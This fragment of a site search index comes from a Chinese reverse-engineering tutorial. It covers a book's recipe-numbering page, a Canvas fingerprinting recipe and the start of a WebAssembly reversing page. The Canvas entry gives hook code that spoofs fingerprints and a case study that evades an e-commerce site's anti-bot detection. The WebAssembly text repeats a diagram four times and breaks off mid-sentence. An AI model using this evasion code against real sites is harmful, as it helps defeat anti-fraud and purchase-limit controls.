","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:3:6","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#网络与协议-r23-r27"},{"categories":null,"collections":null,"content":"自动化工程 (R28-R35) 编号 配方名称 解决的问题 R28 自动化脚本 自动化脚本编写 R29 Scrapy 爬虫框架 Scrapy 框架使用 R30 Scrapy-Redis 分布式 分布式爬虫架构 R31 代理池设计 代理池架构与实现 R32 拨号代理池 动态拨号代理 R33 Docker 部署 容器化部署方案 R34 虚拟化与容器 虚拟化技术应用 R35 自动化设备农场 设备群控与自动化 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:3:7","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#自动化工程-r28-r35"},{"categories":null,"collections":null,"content":"Tools 编号 (T) 工具使用指南和原理剖析，共 10 个章节。 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:4:0","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#tools-编号-t"},{"categories":null,"collections":null,"content":"Dynamic - 动态分析工具 编号 工具名称 内容类型 T01 Frida 使用指南 使用指南 T02 Frida 内部原理 原理剖析 T03 Xposed 使用指南 使用指南 T04 Xposed 内部原理 原理剖析 T05 Unidbg 使用指南 使用指南 T06 Unidbg 内部原理 原理剖析 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:4:1","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#dynamic---动态分析工具"},{"categories":null,"collections":null,"content":"Static - 静态分析工具 编号 工具名称 内容类型 T07 Ghidra 入门 使用指南 T08 IDA Pro 入门 使用指南 T09 Radare2 入门 使用指南 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:4:2","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#static---静态分析工具"},{"categories":null,"collections":null,"content":"Cheatsheets - 速查表 编号 名称 内容说明 T10 ADB 命令速查 ADB 常用命令 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:4:3","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#cheatsheets---速查表"},{"categories":null,"collections":null,"content":"Case Studies 编号 (C) 真实场景的案例分析，共 8 个案例。 编号 案例名称 分析对象 C01 反分析技术案例 各类反分析技术 C02 音乐 App 案例 音乐平台加密分析 C03 社交媒体与风控案例 社交平台风控策略 C04 App 加密签名案例 请求签名算法分析 C05 视频 App 与 DRM 案例 视频加密与 DRM C06 Unity 游戏 (Il2Cpp) 案例 Unity 游戏分析 C07 Flutter 应用案例 Flutter 应用分析 C08 恶意软件分析案例 恶意软件行为分析 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:5:0","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#case-studies-编号-c"},{"categories":null,"collections":null,"content":"Reference 编号 参考资料和理论知识，按主题分类。 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:6:0","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#reference-编号"},{"categories":null,"collections":null,"content":"Foundations 基础知识 (F) 编号 主题 内容说明 F01 APK 文件结构 APK 内部组成 F02 Android 四大组件 组件原理与通信 F03 AndroidManifest 解析 清单文件详解 F04 Android Studio 调试工具 调试工具使用 F05 DEX 文件格式 DEX 结构详解 F06 Smali 语法入门 Smali 语法基础 F07 SO/ELF 文件格式 ELF 格式详解 F08 ART 运行时 ART 虚拟机原理 F09 ARM 汇编入门 ARM 指令集基础 F10 x86 与 ARM 汇编基础 汇编对比学习 F11 TOTP 时间动态密码 TOTP 算法原理 F12 SELinux 安全机制 SELinux 原理与绕过 F13 二进制分析工具链 Unicorn/Capstone/Keystone ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:6:1","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#foundations-基础知识-f"},{"categories":null,"collections":null,"content":"Advanced 高级主题 (A) 编号 主题 内容说明 A01 Android 沙箱实现 沙箱原理与实现 A02 AOSP 与系统定制 AOSP 编译与定制 A03 AOSP 深度改机 设备指纹修改 A04 最小化 Android RootFS 精简系统构建 A05 SO 反调试与混淆 Native 保护技术 A06 SO 运行时仿真 离线仿真执行 A07 Magisk 与 LSPosed Root 与 Hook 框架原理 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:6:2","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#advanced-高级主题-a"},{"categories":null,"collections":null,"content":"Engineering 工程化 (E) 编号 主题 内容说明 E01 框架与中间件 常用框架介绍 E02 消息队列 MQ 技术选型 E03 Redis 常用命令 Redis 操作指南 E04 风控 SDK 编译指南 SDK 构建流程 E05 数据仓库与处理 大数据基础 E06 Apache Flink 流处理框架 E07 HBase 数据库 分布式存储 E08 Apache Hive 数据仓库 E09 Apache Spark 大数据计算 E10 群控与 API 逆向对比 方案选型分析 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:6:3","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#engineering-工程化-e"},{"categories":null,"collections":null,"content":"Appendix 编号 (X) 附录资源和社区资源。 编号 名称 内容说明 X01 GitHub 开源项目 优质项目推荐 X02 学习资源 学习资料汇总 X03 CTF 练习平台 CTF 平台推荐 X04 术语表 专业术语解释 X05 配方编号系统 本文档 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:7:0","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#appendix-编号-x"},{"categories":null,"collections":null,"content":"如何使用编号系统 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:8:0","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#如何使用编号系统"},{"categories":null,"collections":null,"content":"快速引用 在讨论或笔记中，你可以使用简短的编号引用特定配方： “参考 R11 (加密算法分析) 了解加密分析方法” “这个问题可以用 R15 (Frida 反调试绕过) 的方法解决” “代码示例见 R06 (Frida 常用脚本)” “工具使用参考 T01 (Frida 使用指南)” ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:8:1","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#快速引用"},{"categories":null,"collections":null,"content":"交叉引用 本书各章节之间存在大量交叉引用，编号系统帮助你快速定位： 分析加密算法时 (R11: 加密算法分析)，可能需要先脱壳 (R09: 脱壳技术概述)， 然后使用 Frida (T01: Frida 使用指南) 进行动态分析 (R05: 动态分析深入)， 参考 C04 (App 加密签名案例) 了解完整案例。 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:8:2","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#交叉引用"},{"categories":null,"collections":null,"content":"学习路径规划 你可以根据编号规划自己的学习路径： 初学者路径： Q01 (关于本书) → Q02 (快速入门) → F01 (APK 文件结构) → F05 (DEX 文件格式) → T01 (Frida 使用指南) → R01 (逆向工程完整工作流程) → R05 (动态分析深入) 爬虫开发者路径： R01 (逆向工程完整工作流程) → R02 (网络抓包分析) → R11 (加密算法分析) → R26 (验证码绕过技术) → R27 (移动安全与反爬) → R29 (Scrapy 爬虫框架) → R30 (Scrapy-Redis 分布式) 安全研究员路径： R15 (Frida 反调试绕过) → R09 (脱壳技术概述) → R18 (Native Hook 技术) → R21 (VMP 虚拟机分析) → A05 (SO 反调试与混淆) → C08 (恶意软件分析案例) ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:8:3","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#学习路径规划"},{"categories":null,"collections":null,"content":"版本说明 本编号系统会随着内容更新而扩展。新增配方将获得新的编号，已有配方的编号保持不变，确保引用的稳定性。 当前版本：v2.0 章节 数量 Quick Start (Q) 3 Recipes (R) 35 Tools (T) 10 Case Studies (C) 8 Foundations (F) 13 Advanced (A) 7 Engineering (E) 10 Appendix (X) 5 总计 91 现在你已经了解了本书的组织结构，开始你的学习之旅吧！ 推荐下一步：快速入门 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:9:0","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#版本说明"},{"categories":null,"collections":null,"content":"Canvas 指纹技术 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:0:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#canvas-指纹技术"},{"categories":null,"collections":null,"content":"思考时刻 在学习 Canvas 指纹之前，先思考： 为什么 Cookie 和 IP 地址不够用？ 为什么网站还需要指纹识别？ 你的浏览器是独一无二的吗？ 即使你换了 IP、清空了 Cookie，网站还能认出你吗？ 画布指纹的原理是什么？ 为什么在同一个 Canvas 上画同样的东西，不同电脑会产生不同的结果？ 实战场景： 某电商网站限制每个用户只能抢购一件商品，你换了浏览器、清空了缓存、使用了代理，为什么还是被识别出来了？ 这些问题的答案，藏在浏览器的渲染引擎里。 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:1:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#思考时刻"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 浏览器架构 必需 浏览器架构 浏览器指纹识别 必需 浏览器指纹识别 JavaScript 基础 必需 JavaScript 基础 DOM 与 BOM 推荐 DOM 与 BOM Hook 技术 推荐 Hook 技术 💡 提示: Canvas 指纹是最稳定的指纹识别方式之一，因为它依赖于硬件和软件的渲染差异。了解其原理后，你可以通过 Hook Canvas API 来伪装指纹。 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:2:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#-前置知识"},{"categories":null,"collections":null,"content":"概述 Canvas Fingerprinting 是一种通过 HTML5 Canvas API 生成浏览器指纹的技术。由于不同系统、浏览器、显卡渲染文本和图形时存在细微差异，这些差异可以用来唯一标识用户。 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:3:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#概述"},{"categories":null,"collections":null,"content":"原理 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:4:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#原理"},{"categories":null,"collections":null,"content":"1. 渲染差异来源 硬件层面: GPU 型号和驱动版本 操作系统（Windows/Mac/Linux） 字体渲染引擎（DirectWrite/CoreText/FreeType） 软件层面: 浏览器类型和版本 已安装的字体 图像压缩算法 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:4:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#1-渲染差异来源"},{"categories":null,"collections":null,"content":"2. 生成流程 // 1. 创建 Canvas const canvas = document.createElement(\"canvas\"); const ctx = canvas.getContext(\"2d\"); // 2. 绘制特定内容 ctx.textBaseline = \"top\"; ctx.font = \"14px Arial\"; ctx.textBaseline = \"alphabetic\"; ctx.fillStyle = \"#f60\"; ctx.fillRect(125, 1, 62, 20); ctx.fillStyle = \"#069\"; ctx.fillText(\"Hello, world!\", 2, 15); ctx.fillStyle = \"rgba(102, 204, 0, 0.7)\"; ctx.fillText(\"Hello, world!\", 4, 17); // 3. 导出为图像数据 const dataURL = canvas.toDataURL(); // 4. 计算哈希作为指纹 const fingerprint = md5(dataURL); 关键点: 即使绘制相同的内容，不同环境渲染出的像素值会有微小差异。 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:4:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#2-生成流程"},{"categories":null,"collections":null,"content":"检测 Canvas 指纹 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:5:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#检测-canvas-指纹"},{"categories":null,"collections":null,"content":"方法一：监控 API 调用 // Hook toDataURL const originalToDataURL = HTMLCanvasElement.prototype.toDataURL; HTMLCanvasElement.prototype.toDataURL = function () { console.log(\"[Canvas] toDataURL called\"); console.trace(); return originalToDataURL.apply(this, arguments); }; // Hook getImageData const originalGetImageData = CanvasRenderingContext2D.prototype.getImageData; CanvasRenderingContext2D.prototype.getImageData = function () { console.log(\"[Canvas] getImageData called\"); console.trace(); return originalGetImageData.apply(this, arguments); }; ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:5:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#方法一监控-api-调用"},{"categories":null,"collections":null,"content":"方法二：在 DevTools 中查找 全局搜索关键词： toDataURL getImageData canvas fingerprint ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:5:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#方法二在-devtools-中查找"},{"categories":null,"collections":null,"content":"对抗技术 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:6:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#对抗技术"},{"categories":null,"collections":null,"content":"1. 禁用 Canvas（极端方案） 某些隐私浏览器（如 Tor Browser）会禁用或限制 Canvas。 问题: 会导致网站功能异常。 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:6:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#1-禁用-canvas极端方案"},{"categories":null,"collections":null,"content":"2. Canvas Spoofing（伪造） 原理: 修改 Canvas API 返回值，给每个请求返回稍微不同的数据。 // 简单的随机噪点注入 const originalToDataURL = HTMLCanvasElement.prototype.toDataURL; HTMLCanvasElement.prototype.toDataURL = function (...args) { // 获取原始数据 const dataURL = originalToDataURL.apply(this, arguments); // 注入噪点（修改少量像素） const canvas = this; const ctx = canvas.getContext(\"2d\"); const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height); const data = imageData.data; // 随机修改 0.01% 的像素 for (let i = 0; i \u003c data.length; i += 4) { if (Math.random() \u003c 0.0001) { data[i] = Math.floor(Math.random() * 256); // R data[i + 1] = Math.floor(Math.random() * 256); // G data[i + 2] = Math.floor(Math.random() * 256); // B } } ctx.putImageData(imageData, 0, 0); return canvas.toDataURL(); }; 浏览器插件: Canvas Fingerprint Defender Canvas Blocker ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:6:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#2-canvas-spoofing伪造"},{"categories":null,"collections":null,"content":"3. 使用无头浏览器 Puppeteer/Selenium 可以通过注入脚本修改 Canvas 行为： // Puppeteer await page.evaluateOnNewDocument(() =\u003e { const originalToDataURL = HTMLCanvasElement.prototype.toDataURL; HTMLCanvasElement.prototype.toDataURL = function (...args) { // 注入噪点逻辑 // ... return originalToDataURL.apply(this, arguments); }; }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:6:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#3-使用无头浏览器"},{"categories":null,"collections":null,"content":"检测反爬虫中的 Canvas 指纹 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:7:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#检测反爬虫中的-canvas-指纹"},{"categories":null,"collections":null,"content":"案例：某电商网站 现象: 登录后立即被封号，提示\"检测到异常行为\"。 分析: 在 Console Hook toDataURL 和 getImageData 发现页面加载时调用了多次 Canvas API 定位到 JS 文件，发现在生成设备指纹 绕过: 使用真实浏览器（Chrome）而非 Headless 安装 Canvas Defender 插件 或使用指纹伪造库（如 FingerprintJS Spoofing） ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:7:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#案例某电商网站"},{"categories":null,"collections":null,"content":"Canvas vs WebGL 指纹 特性 Canvas WebGL 原理 2D 图形渲染差异 3D 图形渲染差异 区分度 中 高 实现难度 低 中 常见场景 通用指纹 高级指纹 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:8:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#canvas-vs-webgl-指纹"},{"categories":null,"collections":null,"content":"相关资源 BrowserLeaks - Canvas Test AmIUnique - 指纹测试 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:9:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#相关资源"},{"categories":null,"collections":null,"content":"相关章节 浏览器指纹识别 WebRTC 指纹与隐私 反爬虫技术深度分析 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/:10:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"Canvas 指纹技术","uri":"/reverse_engineering/web/04-advanced-recipes/canvas_fingerprinting/#相关章节"},{"categories":null,"collections":null,"content":"WebAssembly 逆向 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:0:0","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#webassembly-逆向"},{"categories":null,"collections":null,"content":"思考时刻 在深入 WebAssembly 逆向之前，先挑战一下你的认知： 为什么 JavaScript 还不够快？ 什么场景下需要用到 WebAssembly？ 编译后的代码就安全了吗？ 二进制格式真的比 JavaScript 更难逆向吗？ 你能反编译 .exe 文件吗？ WebAssembly 和传统的二进制文件有什么区别？ 实战场景： 某视频网站把解密算法编译成了 WebAssembly，加密参数经过 Wasm 处理后发送给服务器。你会如何下手分析？ WebAssembly 并不是逆向的终点，而是新的起点。 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:1:0","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#思考时刻"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 WebAssembly 基础 必需 WebAssembly 基础 JavaScript 基础 必需 JavaScript 基础 V8 引擎工具 必需 V8 工具 Chrome DevTools 必需 浏览器开发者工具 二进制分析基础 推荐 了解基本的汇编和二进制格式 💡 提示: WebAssembly 逆向需要一定的底层知识。如果没有汇编语言基础，建议先了解 WebAssembly 的指令集和内存模型，再进行实战分析。 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:2:0","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#-前置知识"},{"categories":null,"collections":null,"content":"概述 WebAssembly (Wasm) 是一种低级字节码格式，旨在在 Web 浏览器中以接近原生的性能运行代码。越来越多的 Web 应用使用 WebAssembly 来保护核心算法和提升性能，这也给逆向工程带来了新的挑战。 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:3:0","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#概述"},{"categories":null,"collections":null,"content":"基础概念 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:4:0","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#基础概念"},{"categories":null,"collections":null,"content":"定义 WebAssembly (Wasm) 是一种面向堆栈的虚拟机的二进制指令格式。它被设计为 C/C++/Rust 等高级语言的可移植编译目标，能够在 Web 上以接近原生性能运行。 关键特点: 二进制格式，体积小，加载快 基于堆栈的虚拟机 强类型系统 沙箱执行环境 与 JavaScript 互操作 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:4:1","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#定义"},{"categories":null,"collections":null,"content":"核心原理 1. 模块结构 WebAssembly 模块由多个部分组成： graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 2. 指令集架构 WebAssembly 使用基于堆栈的指令集： 数值操作: i32.add, i64.mul, f32.div, f64.sqrt 内存操作: i32.load, i64.store, memory.grow 控制流: block, loop, if, br, call 变量操","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:4:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#核心原理"},{"categories":null,"collections":null,"content":"核心原理 1. 模块结构 WebAssembly 模块由多个部分组成： graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] 